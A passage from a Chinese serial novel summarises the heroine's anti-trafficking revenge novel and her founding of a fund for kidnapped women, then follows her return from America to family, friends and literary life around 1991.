八十年代拐卖人口相当猖獗,有些地方甚至把当街强拖妇女儿童上面包车。 宋知南搜集完材料,便写了小说《毁灭大山的女人》。 女大学生李梦洁被拐卖到大山深处的地榆村赵驴儿家。 她呼天天不应,叫地叫地不灵。她试图逃跑,但全村都是赵家的帮凶,她试着向有关单位寻求帮助,但当地有关部门也站在赵家这边。 李梦洁逃跑不成换来的是变本加厉的折磨和毒打, 在绝望之中,李梦洁黑化了。 既然这些人不让她好活, 她就拉着这帮人一起去死。 她假装顺从,开始筹划杀人。赵驴儿见她不再试图逃跑,渐渐地放松了警惕。 李梦洁在家里行动稍稍自由一些。她开始悄悄地积攒农药。她先是把农药倒在赵驴儿的内裤上,赵驴儿的罪孽之根受到了腐蚀,暂时不能用了。为了安全,她把家里其他男人赵老驴、赵二驴的罪孽之根都毁了。 她不经意地把赵家的“无根之事”透漏出去,村民们议论纷纷,买家一家抬不起头来,他们心里压抑变态,试图通过折磨李梦洁发泄心中的不满。 李梦洁选择了村里另一家没有媳妇但兄弟多的王小虎家,赵家发现后,两家便大打出手。 王小虎被赵驴儿父子三人打成重伤,李梦洁在照顾他时,给王小虎的中药里加入耗子药,王小虎一命呜呼。 王小虎的爹老王头一怒之下召集其他儿子回来,要跟赵家人拼命,并扬言要烧死对方全家。 李梦洁帮助王老头实现诺言,趁着夜黑风高时放火,赵家人死伤大半。他们一口咬定火是王老头放的。带着亲戚族人气势汹汹地来找王家算几。王家这边也叫上族人帮忙,双方发生了激烈的械斗,死伤多少人。 此事终于惊动了镇上的公安部门,王家上头有人,花钱打点了一番,推出一个人去顶罪,此事不了了之。 李梦洁做为战利品到了王家,成为王小虎堂兄王二虎的媳妇。 王家比赵家对李梦洁略好些,李梦洁趁机装病,积攒感冒药,并偷偷地攒耗子药和农药。 她继续之前的操作,把农药抹在王二虎的内裤上,王家的罪孽之根一个接一个地萎掉。 家里有面粉,李梦洁趁家人睡着时,把面粉扬得满屋都是,并紧闭门窗,点火爆炸。王家四死一伤。李梦洁说这是驴儿家的冤魂来报应。 王家办丧事,全村来吃席。因为王家人死的死,伤的伤,无人主事,李梦洁只能强撑着病体去招待客人。 李梦洁利用这个机会,在菜里下了耗子药农药,并把感冒药碾成粉放在散装的白洒里。 她怕大家尝出异味,就专门做重口味的菜。 吃完席,全村百分之八十的人中招了,吃的多的当场死去;吃得不多不少的,呕吐头痛;吃得最少的也有症状。 此事太过重大,层层上报,从镇上报到县里再报到市里。 市公安局派人前来调查,他们很快就查到了李梦洁头上。 李梦洁对作案经过供认不讳,她被抓走前在镜头前说了一番话:“我只有靠犯罪才能引起你们的注意。我杀了很多人,但我一点也不后悔,是他们先杀死了我。这些死了的活着的,没有一个是无辜的。 我,李梦洁,寒窗苦读十几年,我以为我是个文明人。但在这里,我只是一个物品,一个行走的子宫。这种不把女人当人的村子灭掉了是女人的福祉。” 小说一发表,立即引起了强烈的反响。 有人说,女主角杀人的过程太过顺利,很多细节经不起推敲。 还有个作家兼评论家,对里面的买家发出同情的声音:“这种情况我听说过,可是如果他们那个村子不买女人,他们就会消失。” 宋知南回应道:“如果他们靠买女人才能存在,那就让他们消失吧。我建议说这种话的人,有一个算一个,都主动去那种村子为男人服务。你们也别觉得他们只要女人,男人也要的。你们一定要去哦,要以身伺虎嘛。” 也有人表示同情王小虎一家,他们一家对女主角很不错啊,怎么连他们一起杀了呢。 宋知南:“对你略好点的奴隶主就不是奴隶主了?说这种的话可以过来当我的奴隶,我对你们会特别好,还天天牵着你们溜,有没有人来?” 宋知南又写了一篇文章,她呼吁有关部门能完善立法,希望能买卖同罪,希望各地的公安部门一旦发现有人报案,一定要及时立案,迅速展开搜寻,拐卖案24小时是找人的黄金时间,拖得越久,找回来的希望越渺茫。 同时也提醒女孩们要提高警惕,不喝陌生人递的饮料,别上陌生人的车辆,不要跟熟人去太偏僻的地方。 遇到有人求助,不要太过热情,不要因为对方是妇女儿童老人,就降低警惕,有人专门利用女人的同情心作案,让他们有事找警察。 宋知南把版权给了于红林,提出一个要求:“这部电影的分红加上小说的稿费,我打算拿出来成立‘打拐基金’。 谁家女儿被拐了,想找人但家境困难需要帮助的基金会提供帮助;见义勇为、帮助、解救被拐妇女逃跑的,经查证后,基金会提供奖金;被拐妇女被解救后,生活无着,身心受创需要帮助的,基金会给予帮助。” 于红林说:“我的那份分红也捐出来。” 工作人员听说后,也表示愿意义务劳动,把这部电影的所得捐给“打拐基金”。 李群英、牛抗美、格羽、罗静林等人也纷纷慷慨解囊,还有很多女演员也捐了款。 宋知南这篇小说寄给了何黛,并给她回了一封信。 何黛收到后,很快回了一封:“呜呜,我好感动,没想到你真的写了。小说我看了,我又气又爽又难过。你那个基金会太好了。” 宋知南想起她在妇联工作的那段日子,想起了何黛王翠花还有许许多多的人。 她忽有所感,坐下来写了一幅字:“少年的梦,永不褪色;我们的心,永不麻木。——你曾经的搭档、现在的战友、永远的朋友宋知南。” 宋知南让宋冬宝用把这幅字寄给何黛。 The end 第157章 1991年8月, 宋知南、李群英和李成章一起下了飞机。 她们刚从美帝回来,宋知南去做学术交流, 李群应则是带着李成章去探亲和拓展业务。 现在的李群英已经成了李总,编辑的工作她已经辞了,她和洪环宇,也就是帮宋知南出书的那个编辑,合伙成立了英群宇宙集团公司,旗下包括影视传媒、出版发行、作家经纪等业务。 两人的事业心极强,李群英擅长拓展业务,洪环宇擅长包装宣传作者,两人配合得极好。两人业务娴熟,又很有契约精神,在业内口碑极好, 公司业务蒸蒸日上。 李成章现在已经12岁了, 身高已经窜到了1米66, 是个大女孩了,在公众场合, 宋知南都叫她的大名。 李成章精力旺盛, 力气也大,背上背着书包,手里拉着行李箱跑得飞快。 李群英喊道:“成章你别跑那么快。” 李成章应了一声,赶紧放慢脚步等着两人。 李群英叹道:“我感觉我老了,坐个飞机腰酸背疼的。” 宋知南笑道:“老什么老?你这个年纪正是奋斗的年纪。” 李群英无奈地说:“你这个人呀,到你嘴里,什么年纪都是奋斗的年纪。我妈那个年纪也是奋斗的年纪。” 李群英的爸前几年去世了, 这对黄桂枝的打击很大,再加上她年纪也大了, 整个人暮气沉沉的,干什么都打不起精神。 宋知南一看这哪行啊,赶紧去鼓励一番,现在她天天跟着宋冬宝在别墅区种菜种花。 嗯,宋知南现在住上别墅了,跟李群英牛抗美是邻居,她们一起在明玉山庄买了独栋别墅。 宋知夏也跟风买了一套,一有空闲就带着女儿宋如锦来住上一阵。 宋知南回到家时,宋知夏正跟宋冬宝一起打扫房间,准备午餐。 宋家的院子很大,此时又正值盛夏,树木葱茏,瓜果长势喜人。 3岁的宋如锦一看小姨回来了,飞奔出来迎接:“小姨。” 宋知南弯腰抱起宋如锦,“哎哟,又变沉了,你吃饭挺努力呀。” 宋知夏宋冬宝还有黄桂枝听到声音都出来迎接。 黄桂枝拉着李成章左看看右看看,最后得出结论:“怎么回事?不都说美帝比咱们国家富吗?怎么去一趟还瘦了?” 李成章说:“他们的饭我吃不习惯,跟奶奶做的饭差远了。” 黄桂枝得意地笑了起来。 宋知夏接过女儿说:“你刚下飞机多累呀,别抱她了,赶紧收拾一下准备吃饭。” “行,我确实累了。” 宋知南吃过午饭,洗了个澡,吹干头发,回房间补觉去了。 一觉醒来,天都黑了。 她洗漱一下,坐下吃晚饭。宋知夏送她一套红色内衣内裤,“今年是你的本命年,容易招小人,你穿这个能避小人。” 宋知南接了过来,今年是她的第三个本命年,她已经36岁了。她很满意,活到这个年纪,她已经在年龄上赢了王勃李贺等一大帮人。 岁月不止赠予她年龄,还赠予她智慧和悟性。 她如今是越活越自洽,身上也有了前世大家费力去追求的所谓松弛感,同时还有了所谓的富人思维。 什么是富人思维?就是你富了很长时间之后就会有的思维。比如你会变得大方宽容,你会有长远思维。 穷人不是不想有长远思维,是你不得不目光短浅,你现在正饿肚子呢,肯定只想赶紧吃饱,还能想到十年后的事情? 不信,你把一个富人扔到无人区饿他3天试试? 松弛感,是有钱有闲、见过很多世面后的倦怠感。 这两样东西,越费力追求越没有。 你追求一样东西时是紧绷的,又怎么能松弛呢? 再说了,紧张感有什么不好? 大概是人们总喜欢追求自己没有的东西吧。 宋知南回来后,朋友们陆续上门拜访。 最先来的是格羽和罗静林。 诗歌的黄金时代早已过去,文学的发展也进入低潮。两人只能寻找新的出路,她们受到李群英的影响也试着下海扑腾了两下,两人一起创办了林格广告公司。两人都是名人又有一定的人脉,公司业务还不错。 两人跟宋知南一样都是单身,不过,她们跟宋知南不同的是,两人对自己选择的路不是那么确信和坚定,时不时地出现迷茫。 每当这时候,她们就会来找宋知南聊聊。 两人携带礼物上门,宋知南笑着招呼:“格总,林总。” 罗静林笑道:“在你和李总这儿,我们哪好意思叫总?这次美帝之行感觉如何?” 宋知南说:“还行吧,开讲座的时候骂了他们一通,这帮人对我们充满傲慢与偏见。但毕竟是用英语骂,不如母语流畅,效果打了折扣。可能是这帮人挨骂挨得少吧,我只用了五成功力,就把他们惊住了,一副没见过世面的样子。” 两人毫不意外。 宋知南想起自己还给两人带了礼物,赶紧去拿出来。 格羽的是一盒巧克力和一瓶香水,静林的是一个包。 宋知南说:“下星期是静林的生日,提前送你的礼物。” 罗静林感动地说:“你这么忙竟然还记得我的生日。” “我当然记得,格羽的我也记得。” 友情是相互的,她每年过生日时,两人都会送上精心挑选的礼物。 现在两人处在宋知南社交圈层的第二层,很亲密但不是最亲密。 她的核心朋友目前还是只有李群英一个。 说来也奇怪,现在两人的人脉圈子比以前扩大了好多倍,但核心朋友仍然只有对方。 用李群英的话说,这种朋友关系是能托孤的那种。 她说,如果有一天她出了意外,她会留下遗嘱把一部分遗产交给宋知南,让她帮忙照看李成章,以免女儿被人欺负。 而李成章现在都已经做好了心理准备,说将来要给宋知南养老送终。 格羽和罗静林欣然收下礼物,笑着道谢。 宋知南问罗静林今年生日宴会还办不办。 罗静林轻轻叹息一声:“南姐,我现在其实有点怕过生日,有时别人问我年龄,我也不想回答。” 尤其是她现在是单身,别人一问起,她自己先有一种说不清道不明的羞耻感。 有时她会问自己:“我没杀人放火,我没做错任何事,为何我会有羞耻感?为什么?又凭什么?” 罗静林提出自己心中的疑惑,“南姐,为什么我就不能像你一样坚定自信呢?为什么我总是时不时地怀疑自己选择的路?” 宋知南说:“你迷茫、彷徨都属于正常现象。我们这代女人虽然独立了挣钱了。但我们有自己的困境。 我们长期以来都是做为客体,而不是做为主体培养的。 我们思考问题时,习惯性地去想我是谁的谁?我要为谁?而不是想,我是谁,我要干什么。 我们身上背负着历史的包袱。我们重新开辟了一条小路,但这条小路上人迹罕至,荆棘丛生。隔壁的大路上车水马龙,人来人往。那条路上的人不停地提醒我们,你们偏航了偏航了,要赶紧走到大路上去。 这种时候,迷茫、惶恐都是人之常情。但注意不要输给那些瞬间。自己在理性时定下的目标和原则,不要在感性时推翻它,还有不要在半夜三更思考人生,这个时候人的意志最薄弱,会做蠢事。要是有前男友的话,脑子一抽说不定会在这时候答应跟他复合。” 格羽听到这里,突然用双手捂着脸:“南姐,谢谢你点醒我,我不会跟那个人渣复合的。” 宋知南诧异道:“什么?那个明河真的找你复合了?” 格羽点头:“他现在非常落魄,给我写信道歉,想跟我复合。我只考虑了一会儿就拒绝了。如果我原谅他,那我以前所受的痛苦算什么?我不能背叛我自己。” 罗静林欣慰地说:“格羽,你终于长大了,我也放心了。” 格羽捶了一下罗静林:“去你的的。” 再说起明河,格羽几乎没有任何情绪波动,就像说起以前的任何一个熟人一样。 “诗歌的黄金时代过去后,他们那帮人无法忍受现实与理想的落差,又不愿意像普通人一样好好工作赚钱,花钱手大脚,动不动就借酒消愁,大骂如今的社会太现实。感觉整个人精神都不正常了。” 罗静林补充道:“还有扶光,曾经的诗坛领袖,现在也过气了。听说他的精神也有点不正常。” 宋知南还记得这家伙,他有一次半夜抽疯,给宋知南打电话说,愿意为她去死。 宋知南回他:“你做人要厚道,你本来就想死,却说是为我而死。” 她打电话报警,还托记者白衣找到他的家人。她自己始终没露面。当然,扶光最后也没死成,虽然没死成,但也活不好。 罗静林来时满腹疑惑,走时豁然开朗,笑容满面。 格羽感慨:“哪天南姐在影视圈混腻了,可以考虑开通个心灵热线,专门为听众答疑解惑。” 罗静林笑道:“那肯定没问题。” 格羽和罗静林离开后,白衣、于红林等人也纷纷打来电话。 白衣激动地说:“宋老师,恭喜您,您在河西大学的演讲入选《龙国百年名人演讲录》,有个内部消息说,这篇演讲有可能入选初中语文课本,但肯定会有删改。” 宋知南哦了一声:“我的文章竟然能上语文课本?我还以为得等我死后才能上呢。” 上语文课本听上去很高大上,但是经常考试的人都知道,凡是上过课本的作者,你看课外书时都会有意识地避开他。要不然,就显得你在加班学习。 白衣笑道:“还有啊,我邻居家小孩的试卷上看到了你的文章,她拿着卷子来问我,我很自信地告诉她答案,结果你猜怎么着?我答错了。” 白衣凭着印象把试题复述一遍,“首都的风殷勤地帮我换着发型,时而左偏分,时而右偏分,有时是地方支援中央——全力往头顶吹。你认为作者表达了什么思想情感?” 宋知南:“我就是想表达风真大。” 白衣追问:“那为什么要说地方支援中央?” 宋知南:“我只是想幽默一下。” 白衣告诉她标准答案:“你错了,你是想表达改革开放形势一片大好,表达全国人民对中央政策的支持和拥护。” 宋知南:“……”无形中被拔高了这么多吗? 她自嘲道:“这幸亏不是在大运动中,要不然,该有人说作者一会儿向左一会儿向右,革命立场极不坚定。” 生活有时候很幽默,它时不时地给你开个玩笑。以前她被别人的文章伤害,现在轮到她伤害别人了。